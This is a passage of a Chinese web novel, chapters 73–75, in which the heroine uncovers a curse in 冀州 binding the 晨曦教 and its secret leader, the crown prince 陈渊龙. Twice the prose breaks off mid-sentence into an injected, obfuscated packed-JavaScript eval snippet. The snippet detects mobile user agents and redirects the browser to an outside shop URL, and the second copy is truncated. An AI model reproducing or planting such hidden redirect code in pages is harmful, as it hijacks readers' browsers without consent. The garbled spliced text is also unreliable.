玉蛾绕到了陈渊龙的身后,乔天璇立刻就被陈渊龙后背右边的一个烙印给吸引了注意力,双眼登时都睁圆了。 那是一个大大圆圆的龙纹样焦黑色烙印,只不过龙的四只爪子、龙角、龙尾都断了一半,一看就知道代表的不是什么好东西,嵌在陈渊龙雪白的后背上格外显眼,让人不禁想象到当时烧得通红的烙铁将这烙印烙到肌肤上时的可怕画面。 乔天璇忽地感到头痛欲裂,脑海中似是有什么被封存已久的东西即将要迸发而出了一样。 73. 冀州轶事(一) “不要共视了!玉蛾,快回来!回来!”乔天璇浑身脱力了一般强拖着身子回到了榻上躺下,痛苦地闭上了双眼。 “好。”玉蛾连忙结束了与乔天璇的共视,飞出了陈渊龙的房间,回到了乔天璇的房间。 “主人,你怎么了?”玉蛾停在了榻边椅子的把手上。 乔天璇努力装作没事,睁开眼摇了摇头,苦笑道:“没事,休息睡觉吧,明日还要赶路呢。” “那好吧。”玉蛾飞入了乔天璇腰间的黑色乾坤袋中,道:“我回玉匣子了,主人需要我的时候再唤我。” “嗯。”乔天璇勉强答应着,不明白自己为何突然这般头痛欲裂,脑袋简直像是要炸开来了。 ……陈渊龙后背右边的那个烙印……到底是什么啊?为何自己光是看了一眼就会……头痛成这样? 此刻,客栈外不远处隐隐约约传来海浪拍打海滩的声音让乔天璇感觉就像在一遍又一遍地拍打她,简直是雪上加霜。 不等乔天璇多想,她便在剧痛中失去了意识,昏睡了过去。 翌日,乔天璇是被海边的海鸟鸣叫声唤醒的。 她昏昏沉沉地起了身,虽然头已经不痛了,但她心里总是莫名觉得自己对陈渊龙有亏欠。至于到底亏欠了陈渊龙什么,她完全想不起来。 “啧,我可不欠他的。我怎么会欠他的呢?明明该是他欠我的!”乔天璇自我安慰着,闷闷不乐地下了榻,大步走到了面朝大海的那扇窗推了开来,见到清晨的大海波光粼粼,一望无际的蔚蓝,上方飞着无数雪白的海鸟,鸟鸣悦耳。 海风拂来,十分凉爽,乔天璇的心情顿时好了不少。 她趴在窗户上看了一会儿大海和海鸟,放空大脑完全不想任何事情,一直到有人来敲自己房间的门。 “起床了,收拾准备好后下楼吃早饭。” 乔天璇一下子就听出来了是洛侠的声音,赶忙回应:“好!” 不管昨晚如何,今日是新的一天,那就得好好过。 乔天璇收拾打扮好后出了房门,见到花蕊正好也从房间中出来,高兴道:“玉心!” 花蕊转头望向了乔天璇,当即欢喜地跑到了乔天璇的身旁,拉起了乔天璇的手,道:“走,我们一起下楼去吃早饭!” “嗯。”乔天璇点了点头,和花蕊手拉着手下了楼,发现陈渊龙、洛侠、祝源已经坐在一楼占了位置。 他们旁边一桌的是已经开始吃早饭了的四侠行客。 乔天璇和花蕊刚坐下,洛侠就问道:“昨晚你们休息得还好吗?” 花蕊道:“还行。” 乔天璇并不打算说昨晚的事情,也道:“还行。” “昨晚灭妖仙人难道没休息好?”陈渊龙看了一眼洛侠。 洛侠淡淡道:“不,我只是关心一下爱徒和爱徒最好的朋友。” 陈渊龙眼底闪过一丝不悦,目光看向了乔天璇,乔天璇却看向了洛侠,撒娇道:“师父最好了。” 洛侠微微笑了笑。 乔天璇余光瞟到陈渊龙似乎有些不悦,但想到昨晚的饭钱和房费都是陈渊龙付的,好歹给他一个面子,便又转头对陈渊龙道:“不知殿下昨晚休息得如何?” 陈渊龙一愣。 他完全没料到乔天璇居然会关心自己这么一嘴,一时间甚至都有些紧张了。 乔天璇看着眼前的陈渊龙,心中不由得想到的却是昨晚通过玉蛾共视看到的那个陈渊龙。 眼前的陈渊龙衣服穿得整整齐齐,一丝不苟,脸上的表情也并无任何不妥,整个人端庄得像尊白玉雕,完全不见昨晚那种失态的样子,也看不到他被衣物严严实实遮住的后背右边那个大大圆圆的焦黑色烙印。 想起那个烙印,乔天璇的头又有点痛了。 但好在不会像昨晚那样直接痛得昏死过去。 “挺好。”陈渊龙与乔天璇对视的眼神没有任何躲闪。 “那就好。”乔天璇也不较真。 这时,伙计把方才陈渊龙他们点的早饭端了上来。 “先吃饭,吃饭。”祝源赶忙缓和气氛。 “嗯嗯,吃饭!”花蕊拿了盘子里的一个烧饼咬了起来,把腮帮子塞得鼓鼓的。 乔天璇亦不再多想,拿起勺子舀起了自己面前的那一碗鱼丸粥,一口一口喝了起来。 吃得差不多了时,陈渊龙道:“我们往冀州的方向走吧。” 洛侠道:“既然殿下想往冀州走,那往冀州走也行,反正最后都能通到那些杀手的老巢。” 乔天璇想到昨晚那个晨曦教教徒提到过要去冀州,猜测道:“殿下莫不是昨晚把那些说话粗俗之人说的话放在了心上?” 陈渊龙道:“不,我只是想了解一下关于晨曦教的事情和现在的情况。而晨曦教的其中一个据点在冀州。” “晨曦教?”花蕊疑惑道:“是类似巫神教那样的吗?” “不。”陈渊龙道:“晨曦教是个教主给教徒派发任务,教徒完成任务之后能得到报酬的教会。” 乔天璇按照自己的理解道:“说白了,晨曦教的教主和教徒就是雇主和雇员的关系,给人感觉像是在做生意,想来应该是个好教会。跟巫神教那种让百姓们过得不安生,百姓们却由于忌惮其实力和其残忍作风而不敢与其作对的教派是两码事。” “哦……”花蕊若有所思地咬了一口烧饼。 陈渊龙看着埋头吃着碗里最后一颗鱼丸的乔天璇,眼底泛起些许不易被人察觉的温柔。 吃过早饭,大家离开了人鱼客栈前往冀州。 约莫行了三里路后,乔天璇注意到路旁有一个大家族的遗址,宅子大门的牌匾上刻着“潘氏”二字。 大概是由此想起了淮南乔氏的遗址,陈渊龙、洛侠、花蕊、祝源都随着乔天璇的目光望了过去。 乔天璇忍不住道:“潘氏,虽然不是什么厉害的世家,但这废弃宅子也是够大的啊。” “啊哟,小姑娘,你不知道可不要随便瞎说哦。这潘氏乃是当今皇后的家族,只不过在很久之前被人灭门了,当时就皇后和她的母亲躲过了一劫,其余人全都死光了。” 听到这话,乔天璇转头望去,见说话的人是一个在路边割猪草的老妪。 陈渊龙听到关于当今皇后的事情,眼中当即闪过一道寒光。 他立马上前向老妪行礼询问:“老婆婆,你知道皇后家族的事情?” 老妪站起身看向了陈渊龙,乐道:“知道啊,小伙子,你想听?” “想。”陈渊龙毫不犹豫地点头。 “行,正好老婆子我闲得很,就与小伙子你说说吧。” 老妪叹息一声,述说起了潘氏家族当年的事情。 第一代潘氏家主在很久之前是这一带有名的大商贾,靠着近码头的优势,常常与域外商人往来,挣得盆满钵满。 富有了之后的潘氏家主扩建了宅子,纳了无数的美妾。 好在潘氏家主的妻子并不怎么抗拒丈夫纳妾的事情,对此事都是睁一只眼闭一只眼,以至于潘氏家主最后纳了三十多房妾,生了六十多个孩子。 孩子多了,潘氏家主为了让孩子们都能够和睦相处,便让人去附近大妄山的龙脉上修了座山神庙。庙修好后,潘氏家主每年都会带着孩子们去山神庙拜两回山神,春天拜一次,秋天拜一次,让孩子们在山神面前发誓能与兄弟姐妹们和睦相处,要不然天打五雷轰不得好死。 不得不说,潘氏家主的这个做法十分有效。 大家都敬畏神明,更何况每年都要在山神面前发两回誓。因此,潘氏家主的孩子虽然多,但一直都能做到互相之间和睦相处。即便定下了“家主之位只能传于正妻之子”的死规矩,妾所生的孩子们也能做到不争不抢,一心一意扶持新的家主。 当然,还有另一个死规矩便是“家主一定要给予所有的兄弟姐妹在经商之事上的支持和帮助”,以此来互相制衡。 就这样不知过了多少代人之后,一位新继任的潘氏家主不甘心自己心悦的女人被自己的弟弟“抢走”,于是他强硬地废了那条“家主一定要给予所有的兄弟姐妹在经商之事上的支持和帮助”的规矩,从此以后也不再带着孩子们上山去拜山神和发誓。 最终,弟弟得不到哥哥一丝一毫的支持和帮助,还被哥哥嘲笑命不好,说他一出生就已经输了,输在出生得比自己晚。 弟弟失望透顶,带着自己的妻子,亦是哥哥也心悦的女人,一起离开了东莱,去了雍州的京城发展。 自此,潘氏家族的内乱和内斗越来越多,但还是勉强又维持了几代人。 直到最后一代,家族中出现了一个宁愿让哥哥死也不愿让哥哥当家主的争强好胜的弟弟。 毫无疑问 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17181930|194382||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,这样的弟弟被哥哥毫不犹豫地收罗光了财产之后赶出了家门,并与弟弟断绝了关系。 可弟弟发起疯来居然加入了当地恶霸的帮派,还凭着俊秀的样貌跟恶霸的姐姐好上了,随后对恶霸哭诉自己在家族中的遭遇,让恶霸去潘家灭口。 恶霸见不得自己的姐夫受委屈,便趁着月黑风高,带着一众弟兄直接闯入潘家大宅,灭了潘氏的门。 当时,还在襁褓中的皇后潘九铭被身为潘家小妾的母亲打晕之后背到背上躲上了院子中一棵大树,母女俩幸免于难。 潘家小妾知道潘氏在京城还有亲戚,于是带着孩子连夜赶往了京城投奔亲戚。 一直到皇后得宠封后,皇后潘九铭的名字传遍了九宸国,大妄山附近的老人才知道原来当年潘家小妾背在背上的那个名叫潘九铭的女婴如今已经当上了皇后。 “没想到皇后的家族还有这样一段往事。”乔天璇听得津津有味。 老妪感慨道:“是啊,当真是世事难料。不过听说皇后与自己的儿子私通,现在已经被皇上命人打断双腿打入冷宫了。老婆子我可真不知该对此事作如何评价了……” 陈渊龙冷着脸不屑道:“是她自作自受。” 老妪惊道:“啊哟,小伙子很大胆嘛,居然敢这般评价皇后。” 乔天璇饶有兴致地看着陈渊龙,附和道:“就是就是,好大胆啊,真是太大胆了。” 闻言,陈渊龙望向了乔天璇,眼中竟是对有乔天璇泛起了无奈和宠溺的意思,让乔天璇冷不防浑身起了一层鸡皮疙瘩,连忙闭嘴移开了看着陈渊龙的目光。 老妪疑惑道:“年轻人,你们是要去哪里啊?” 陈渊龙道:“冀州。” “哦,冀州啊……老婆子我不太了解那边,祝你们一路顺风吧。”老妪对着大家慈祥地笑了笑。 “好,老婆婆也要保重。”陈渊龙再次对着老妪行了礼。 见太子殿下如此敬重眼前的这位长辈,其余人也连忙跟老妪行礼。 与老妪告辞了之后,一行人继续前往冀州。 乔天璇回忆着方才老妪说的事情,喃喃道:“原来大妄山上的那座山神庙是皇后家的人建的,难怪二皇子会命人把一大群晨曦教教徒献祭给了东莱大妄山上寺庙中的山神。看来是皇后告诉了二皇子那座山神庙是自家的庙,只不过已经很久没人去祭拜了,二皇子就有了给山神献祭生人的想法,并且为此付诸实际行动了。” “可为何二皇子专门挑了晨曦教的教徒来献祭给山神啊?”花蕊不解。 “这个我就不知道了。”乔天璇无奈地摆了摆手。 陈渊龙道:“也许去到冀州能打探到一些线索。” “明白明白,冀州有晨曦教的据点嘛。”乔天璇神神秘秘地对陈渊龙道:“殿下,你怎么对晨曦教的事情这么上心啊?” “我……”陈渊龙一时语塞。 祝源连忙道:“殿下定是关心晨曦教中的百姓。” “嗯。”陈渊龙点了点头。 乔天璇明显感觉得到陈渊龙是顺势点头的。 祝源也是会来事,懂得给太子殿下一个台阶下。 想到这里,乔天璇亦不再追问陈渊龙。 几日后,一行人来到了冀州。 然而,冀州给人的感觉十分怪异,路上的行人全都是死气沉沉的样子。 街道安静得很,人们都不怎么说话。 乔天璇心中稍微察觉到了一丝不对劲。 花蕊吸了吸鼻子,眼中一亮,转身便跑向了旁边的一个小食摊子,向摊主要了一份焖饼。 见状,乔天璇和祝源赶忙跟上。 其余人见了都一起跟了上来。 看到摊子前突然多了九个客人,正在做焖饼的摊主当即欢喜道:“外地人?居然是外地人!都是外地人?!” 乔天璇疑惑道:“对啊,我们是外地人,怎么了吗?” 摊主往左右张望了一下,小声道:“天呐,这里好久都没见到外地人来了,你们一来还来了九个人,简直不可思议啊。” 乔天璇也左右张望了一下,发现路上有很多人都向他们九个人投来了惊诧的目光,就仿佛是在看什么新奇的事物一样。 如此,乔天璇心中察觉到的那种不对劲愈发强烈了,不禁好奇道:“是嘛?为何外地人都不来这里了啊?” 74. 冀州轶事(二) 摊主神神秘秘道:“不久前,二皇子带着一些巫人来了我们这里一趟,据说是为百姓们祈福,可之后就有不少外地人走不出去冀州这块地方了。那些来冀州做生意的人尤其着急,但再急也没用,出不去就是出不去,外地人只要一走到冀州的边界线处,就会像撞上了一堵看不见的墙一样,无论怎么走都去不到地界外边。” 乔天璇道:“那你们本地人呢?” 摊主做起了花蕊要的那份焖饼,道:“我们本地人倒是出得去,不过得要祖上三代都住在冀州才能算是本地人。” 乔天璇道:“照你说的这意思,我们岂不是出不去冀州了?” 摊主安慰道:“没事,后来发现解决的办法了。就是不知办法是谁传出来的。外地人只要杀一个晨曦教教徒,那就马上能走得出冀州的边界线了。可若是这个外地人还要回冀州办事,接着再离开冀州,那就得再杀一个晨曦教教徒才行。” “……” “要……杀无辜的人啊?”段忆昔满脸不知所措。 四侠行客的其余三人也是一脸呆滞。 祝源惊恐道:“那我们岂不是得杀九个无辜的晨曦教教徒才能出得了冀州?” 摊主补充道:“没错,而且是每个人都要亲手杀一个晨曦教教徒才行,不能代杀。” 洛侠不安道:“往来做生意的人那么多,外地人定然不会少,如此这般杀下来,晨曦教教徒不得都被外地人给杀光了?” 摊主摇了摇头,翻了翻饼,道:“还是有幸存的晨曦教教徒的,毕竟除了京城,冀州就是整个九宸国唯一有晨曦教据点的地方了,这里的晨曦教教徒自然会比其它地方多很多。不过现在估计已经没有多少晨曦教教徒了,而且肯定全都藏起来了。你们要是想找的话怕是会有些难度。” “二皇子肯定不是来给百姓们祈福的。”陈渊龙阴沉着脸,眼底尽是怒色。 洛侠道:“这明显就是来诅咒晨曦教教徒的。” 摊主为难道:“我们也是后知后觉,但也无能为力。” 乔天璇回想起在人鱼客栈听到那个晨曦教教徒说自己的妻子在冀州,可是一直都收不到妻子的回信,那么极大可能的原因就是他的妻子也是晨曦教教徒,而他的妻子已经因此事殒命,成了外地人为了走出冀州的牺牲品。 “那我们现在该怎么办?我们不可能永远逗留在冀州,但也不能真的去杀无辜的晨曦教教徒吧?”荀循有些慌了。 “当时二皇子带来的那些巫人或许就是在晨曦教的据点‘祈福’的,要解除这个所谓的‘祈福’,那自然也得去巫人‘祈福’的地方。”乔天璇思索着向摊主发问:“你知道晨曦教的据点在哪儿吗?” 摊主遗憾道:“这个我哪儿知道?我又不是晨曦教的人。” “我知道。”陈渊龙看向了乔天璇。 乔天璇一愣,对上了陈渊龙的目光,后知后觉道:“对啊,雏浅凤,你见多识广,我怎么就没想到你可能会知道?” 陈渊龙道:“你要去,我便带路。” “好,你带路。”乔天璇点了点头。 焖饼不一会儿就做好了,祝源帮花蕊付了饼钱,摊主把焖饼用一个纸袋子装了起来递给了花蕊,道:“姑娘小心烫。” 花蕊吹了吹纸袋中的焖饼,小心翼翼地咬了一小口。 乔天璇走到了陈渊龙的身旁,道:“带路去晨曦教据点吧,雏浅凤。” “嗯。”陈渊龙转身便走。 有乔天璇走在身旁,陈渊龙的脸色都比方才好看了许多。 然而,一行人刚走出百米远,后方就传来了熟悉的问话声。 “日他爹的狗爷爷,什么叫要杀人才能出冀州啊?还得杀晨曦教的教徒?开什么玩笑?!” “就是,莫不是在引诱我们犯罪?” “干你老爷的龟孙!肯定是你们这些人在搞鬼!” 乔天璇转头一看,发现说话的这些人正是自己那晚在人鱼客栈中通过玉蛾共视看陈渊龙时顺便看到的那些说话粗俗至极的客人。 他们这一行人中正好有一个晨曦教教徒,而这个晨曦教教徒此时满脸惊恐之色,一副随时准备逃跑的样子。 毫无疑问,现在这样的情况对一个晨曦教教徒来说简直就跟一只羊混进了狼群中一样,搞不好下一刻小命就被身旁的人给取走了。 陈渊龙也循声转头看向了他们,在注意到那个晨曦教教徒时,陈渊龙立马转身折返,快步往那些说话粗俗至极的人走了过去。 “傻子龙!”乔天璇顿时一惊,不明白陈渊龙走向那些人是想要干什么。 他也许是想救那个晨曦教教徒? 毕竟他也知道那个人是晨曦教教徒。 “殿下!”祝源满眼担心。 花蕊咽下了口中的焖饼,不安道:“完了,继我们之后又来了这么多外地人,就算我们不去找那些躲起来了的晨曦教教徒杀,这些外地人为了出冀州,肯定也会去起找躲起来了的晨曦教教徒杀的。” “其实只要直接杀了晨曦教教主,就能让外地人不必再大费周章去杀一个晨曦教教徒才能出冀州了。只可惜晨曦教教主总是戴着面具,他面具一脱便谁都认不出他了,也没有人能找得到他了。”一个苍老的声音忽地在一旁响起。 乔天璇循声望去,见到一个摆摊卖蔬果的老叟正看着那些说话粗俗至极的人,对着他们无奈地摇头。 “老人家,你是怎么知道只要直接杀了晨曦教教主就能让外地人不必再大费周章去杀一个晨曦教教徒才能出冀州了?”乔天璇怀疑地看着老叟。 老叟抬头看向了乔天璇,道:“二皇子带着巫师来为我们祈福的时候,我孙女就在距离他们不远的一棵树上掏鸟窝,刚好看到听到了。她说那些巫师的唱词中就有‘若是杀了晨曦教教主方可万事大吉、道路通畅’的意思。” 花蕊怒道:“果然不是所谓的为民祈福,这分明就是想要以此来除掉晨曦教教主!” 乔天璇猜测道:“晨曦教教主难道得罪了二皇子?” 老叟道:“不清楚,我甚至都想不明白二皇子怎么会跟晨曦教教主有仇。他们一个在宫里,一个在宫外,按理来说互相碰上面都很难啊……” 祝源道:“我们要不跟上殿下吧?” “走。”乔天璇当即迈步走去。 她倒是想看看陈渊龙折返走向那些说话粗俗至极的人是想要干什么。 其余人赶紧跟上了乔天璇。 此刻,陈渊龙已经站在了那些人的面前,镇定道:“诸位冷静,除了杀晨曦教教徒之外,肯定还有别的更好的办法。” 此话一出,场面瞬间安静了下来,所有人都望向了陈渊龙。 卖焖饼的摊主像看乐子一样看着陈渊龙,笑道:“开什么玩笑啊小伙子?怎么可能还会有更好的办法?之前所有的外地人都是靠杀晨曦教教徒才走出了冀州的,若是有更好的办法早就用了,哪至于杀人?” 旁边的摊贩也附和道:“就是啊,之前的外地人已经试遍各种办法了,可到最后还不是得杀一个晨曦教教徒才能走得出去?哪怕是手无缚鸡之力的弱女子,又或者是小孩,那也得亲手杀一个晨曦教教徒,要不然无论如何都走不出冀州。” 另一个摊贩道:“我们前段时间可见过太多凄凄惨惨身不由己的画面了,有的女子无奈之下亲手杀了一个晨曦教教徒之后都疯掉了,但那也没辙,要是不这样做,就走不出冀州。” 四周的人纷纷议论起来,场面逐渐又变得吵吵嚷嚷。 “没错啊,还是得杀晨曦教教徒。” “只是有这么多的外地人,该上哪儿找相应这么多的晨曦教教徒杀啊?” “对啊,晨曦教教徒都已经被杀得差不多没人了。” “我听说冀州仅存的晨曦教教徒已经不到十人了,这也不够想离开的外地人杀啊。” “……” 陈渊龙听得眉头紧蹙,可不等他开口说话,一只大白狗就跑到了陈渊龙的脚边使劲蹭了蹭,兴奋地吠了两声。 众人焦距到陈渊龙身上的目光立马转到了狗的身上,以及牵着狗绳的男人。 狗主人是个瞎子,得靠手中牵着的狗来引路。 “阿白,怎么回事?”瞎子轻轻拉了拉狗绳。 名为阿白的狗转身咬住了瞎子另一只手拄着的拐杖,激动地吠着。 瞎子感觉到狗在咬拐杖,又听到狗吠得尤其兴奋,不知他是一下子想到了什么,脸上的表情忽然也兴奋了起来,对着陈渊龙道:“晨曦教教主?是晨曦教教主吗?” 差不多就要赶到陈渊龙身后的乔天璇几人听到这句问话之后瞬间脚步都顿了顿。 陈渊龙有些犹豫,不安道:“你应该是认错……” “就是您!我听出来您的声音了!阿白就更不会认错了!”瞎子十分高兴,欢喜道:“我的这条拐杖还是您怕我走路不稳才给我买的,当时我牵着阿 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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瞎子许是听不下去了,他转身对着众人大声道:“晨曦教教主自成立晨曦教以来便总是给穷苦百姓布施米粥,而且凡是加入了晨曦教的人都能得到三升米,若是帮助晨曦教教主搜罗到了有关淮南乔氏大小姐的消息还能重重有赏,晨曦教教主到底哪里对不起他的教徒了?!至于外地人要出冀州的话就得杀一个晨曦教教徒这件事,难道不应该怪罪到二皇子的身上吗?明明是二皇子让那些巫人来我们这儿‘祈福’之后才出现了这样的事情!” 乔天璇听得脑瓜子嗡嗡直响,一时间不知该用什么眼神来看陈渊龙了。 没想到陈渊龙还用过这样的方法来打探过她的消息。 不过陈渊龙安民济物,对百姓们做的都是好事、善事,实在不该被百姓们如此针对、辱骂。 那些说话粗俗至极的人中忽然走出来了一个人,对阿白的主人怒道:“臭瞎子,你丫的又不是晨曦教教徒,你只是曾经受过晨曦教教主的帮助而已,你怎么就不想想晨曦教教徒在被杀时是多么的绝望,是多么的不甘?!” 乔天璇知道说这话的人就是晨曦教教徒,不由得快跑几步来到了陈渊龙的身旁。 若是陈渊龙以晨曦教教主的身份总是给穷苦百姓布施米粥,用各种方法救助生活艰难困苦的百姓,那他的确可以说是一个不错的太子了。而那个被陈渊龙帮助过的瞎子这般维护陈渊龙,便足以说明陈渊龙深得民心。 这样的太子,不该由于二皇子的陷害反被百姓们逼到绝境。 想来二皇子应该是知道陈渊龙就是晨曦教教主,他这般陷害陈渊龙,定是为了争夺皇位。 而二皇子专门挑了晨曦教的教徒来献祭给山神的原因也不必再作过多解释了,定是二皇子在故意挑衅晨曦教教主陈渊龙! 可二皇子与太子陈渊龙相比,那简直就是天差地别,二皇子完全就不配坐上皇位当皇上! 但还好现在大家还不知道只要杀了晨曦教教主,外地人就不必再杀晨曦教教徒才能出冀州了。一定要趁着大家在知道这件事情之前找到解除“祈福”的办法,要不然陈渊龙的下场肯定惨不忍睹。 “惨不忍睹”一词让乔天璇不由想起了陈渊龙后背右边的那个焦黑色烙印。 她脑袋忽地又是一痛,心中那种自己亏欠了陈渊龙的感觉又涌了上来。 可与此同时,她的脑海中也闪过了一道灵光。 如果巫人“祈福”的最终目的是搞死晨曦教教主,那“祈福”肯定是与晨曦教教主紧密相连的。这样一来,只要探查一下晨曦教教主身上的“巫线”,说不定就可以找到解除“祈福”的办法了! “傻子龙,我试试能不能帮你。”乔天璇轻轻一掌覆在了陈渊龙的心口上。 “你……这是?”陈渊龙惊愕地看着乔天璇,却是一动不动任由她对自己的动作。 75. 冀州轶事(三) 所有人看到一个姑娘忽然一掌覆到了晨曦教教主心口上的画面,顿时都安静了下来,目光齐齐投向这两人。 乔天璇的灵力飞快地席卷了陈渊龙全身各处,果然探查到了一根怪异且没有实体的“线”。 这根“线”上既有来自九宸国各地之人的福运,也有来自域外之人的祈福。不过来自域外之人的祈福相对来说就如残余的油渍那样,虽然少,甚至像是多余的东西,但乔天璇能明显感觉得出来它们其实才是这根线原来的主体,而那些来自九宸国各地之人的福运是在后期被强行改送过来的。 乔天璇抬眼与陈渊龙对视,道:“晨曦教教主,你之前是不是请过域外之人给晨曦教中的所有人祈福过?” 陈渊龙眼中泛起一丝惊讶,道:“有,但不是我请他们来祈福的,而是他们被晨曦教吸引过来的。他们是天竺高僧,主动为晨曦教的所有人祈福。” “看来你的晨曦教魅力很大嘛,居然能吸引得了天竺高僧主动来为晨曦教的所有人祈福。”乔天璇挑了挑一边的眉毛,调笑道:“那些天竺高僧该不会是喜欢你吧?” 陈渊龙:“……” 当然,乔天璇的内心可不是她嘴上对陈渊龙的调笑那般所想。她疑惑道:“话说那些天竺高僧是在哪儿为晨曦教的所有人祈福的啊?” 陈渊龙道:“晨曦教在京城的祭坛。” 乔天璇道:“或许二皇子就是从那会儿起便注意到了晨曦教,至于他是如何发现你就是晨曦教教主的,那还真不好说。” “说这些作甚?”陈渊龙不解。 “当然是为了让外地人不必非得杀一个晨曦教中的人才能出得了冀州啊。”乔天璇转头看向了那个方才怒骂瞎子的晨曦教教徒,道:“你,过来。” “我?”晨曦教教徒怔然。 “对,到我身旁。”乔天璇伸出另一只手对着晨曦教教徒勾了勾手指。 晨曦教教徒下意识朝乔天璇走了过去。 乔天璇另一只手的手掌覆到了晨曦教教徒的心口上。 一瞬间,乔天璇感觉到陈渊龙体内的那根“线”通过她连到了晨曦教教徒的身上,而晨曦教教徒的后背上立马显现出了无数常人看不到的白“线”。这些“线”开散得如一朵盛开的朱樱花一样,无数的“线”无限地通往各个方位,把九宸国中除了冀州之外的无数人的福运通过“线”送回到晨曦教教徒的身上。 “果然是这样,二皇子让那些巫人做的事可真够恶毒的。”乔天璇同时收回了覆在陈渊龙和晨曦教教徒心口上的手掌。 “怎么回事?”晨曦教教徒满脸疑惑。 乔天璇面向了众人,解释道:“二皇子带来的那些巫人通过巫术把原本天竺高僧给晨曦教中所有人的祈福强行扭转成了晨曦教教徒因天竺高僧的祈福而吸收到了九宸国中除了冀州之外的无数人的福运。这样一来,冀州之外的外地人在来到冀州之后只有杀了晨曦教教徒才能走得出冀州这件事相当于是在变相地让外地人被迫于不知情的情况下为自己报了被夺福运的仇,且只有把仇报了,才能离开。而晨曦教教主就变成了牵引晨曦教教徒所有福运线的人,形象一点来说,晨曦教教主就是一个树干,那些‘线’便是吸收营养和水分的树根,且在晨曦教教徒的身上。” “那把晨曦教教主给杀了,岂不是就可以让一切都恢复到原来正常的样子,外地人也不必再杀晨曦教教徒才能走得出冀州了?”人群中冷不丁冒出来了一个声音。 另一人道:“是啊,晨曦教教主一死,那不就相当于树干枯死了?树干枯死了,吸收营养和水分的树根肯定也都枯死了!” 晨曦教教徒当即反应了过来,慌张道:“那所有的晨曦教教徒不就也跟着教主一起死了?!” “对啊!”乔天璇也猛然反应了过来。 如此看来,若是杀了陈渊龙,剩下的晨曦教教徒也会死!杀他一个人就等同于杀了很多人! 可要是不杀陈渊龙,就只能想办法强行解除巫人的“祈福”了。 但若是强行解除巫人的“祈福”,晨曦教中的所有人之前由于“祈福”所享到的福运也会一同消失。 乔天璇道:“还有一个更好的办法。” 晨曦教教徒焦急道:“什么办法?” 乔天璇道:“我是灵师,能用灵力强行解除巫人的‘祈福’。只不过这样做的话,晨曦教中的所有人之前由于‘祈福’所享到的福运也会一同消失。比如金钱、功名、权力、因祈福得来的孩子,甚至是因祈福而终于治好了病,等等。” “这……” 众人唏嘘不已。 晨曦教教徒释然道:“没事,失去就失去吧。只要能让晨曦教教徒不再被杀就行。毕竟我是真的不想死,留得一条命在,比什么都强。” 乔天璇转头看向了陈渊龙,道:“怎么样?晨曦教教主?我不知你会因此失去什么东西,但也只有这样,才能真正救得了晨曦教所有幸存的人。” 陈渊龙沉默了片刻,道:“我想先去据点看看。” 晨曦教教徒道:“行,教主,那我们就去据点看看,然后再让灵师强行解除巫人的‘祈福’。” 那些与晨曦教教徒同行且说话粗俗至极的人纷纷道:“我们也得跟着去!” “你们?”晨曦教教徒瞟着他们,不解道:“你们跟着去晨曦教的据点作甚?” “万一晨曦教教主干他爹的反悔了怎么办?” “是啊,福运这玩意儿是这么容易就能舍得放弃的东西吗?” “必须得跟着!狗日的晨曦教教主若是反悔,我们又找不到别的晨曦教教徒杀,那不得全都被困在冀州走不出去了?” “对啊!跟着,肯定得跟着!” “……” 晨曦教教徒无话可说。 乔天璇对陈渊龙道:“那现在就带路去据点吧,晨曦教教主。” “嗯。”陈渊龙当即转身,看到了身后的洛侠、祝源、花蕊,以及四侠行客。 祝源依旧满脸担忧。 花蕊不忘吃着手中的焖饼,目光却盯着前方,跟个边吃东西边看热闹的人一样。 四侠行客从前哪里见过这种场面,看得眼睛都直了。 洛侠饶有兴致道:“晨曦教教主好啊。” “嗯。”陈渊龙淡淡应了一声,拉起身旁乔天璇的手便穿过了七人中间的空隙,继续往前走了去。 乔天璇被陈渊龙猝不及防拉起了手往前走去,虽然没太看清擦身而过的洛侠脸上的表情,但能明显感觉得到洛侠对陈渊龙的不悦。 洛侠立马走到了乔天璇的身旁另一边,与乔天璇相靠的距离比起拉着乔天璇的陈渊龙还要近,似是不甘示弱。 三人的身后跟着一大堆人,除了祝源、花蕊、四侠行客、晨曦教教徒,还有那些与晨曦教教徒同行且说话粗俗至极的人,浩浩荡荡的,像极了游街。 围观的人们好奇地观望着街上的一众人,不少人在看到陈渊龙之后都会指着他道一句:“看,那个就是晨曦教教主。” 大概走了三个多时辰,太阳逐渐西斜了,但前方的路越走越繁华,一直到陈渊龙领着大家来到了据点,道路上更是车水马龙,人声鼎沸,熙熙攘攘。 “傅陵会馆?”祝源抬头看着门上的牌匾,若有所思地念出了牌匾上面的四个字。 “这里已经是傅陵绪氏的地界了啊。”乔天璇转头望向了绪子华。 绪子华道:“对,这儿是傅陵最繁华的一条街道。” 花蕊疑惑道:“大街上的人们好像都没怎么注意我们这里呀?” 陈渊龙道:“这便是据点要设在这里的原因。越是繁荣、车水马龙的地方,人们一般都会越专注于自己的事情,没有多少人会在意别人在干什么。” “原来如此。”花蕊恍然大悟。 陈渊龙推开会馆的大门,带着众人走了进去。 会馆内空空荡荡,大堂中全是桌子和长凳。 晨曦教教徒关上会馆的大门,快步赶到了陈渊龙的身旁,小声道:“教主,大家已经很久没有来过会馆了。” 陈渊龙道:“嗯,知道了。” 为了避免成为外地人为了走出冀州的牺牲品,晨曦教教徒肯定全都躲到各自认为没有人能找得到的地方去了,自然不会有人来会馆。 乔天璇观察了一下会馆内,发现墙上挂着很多似是幼童画的画。这些画的笔触十分幼稚、凌乱,有的画甚至让人完全看不懂画的是什么东西。 “这些画是谁画的?”乔天璇伸手指向了其中一幅画。 陈渊龙转头望去,道:“是教徒们的孩子画的。” “怪不得。”乔天璇心想自己果然没猜错。 晨曦教教徒走到了一幅画前,遗憾道:“这是我儿画的,但我儿在六岁那年生了一场大病后去世了。” 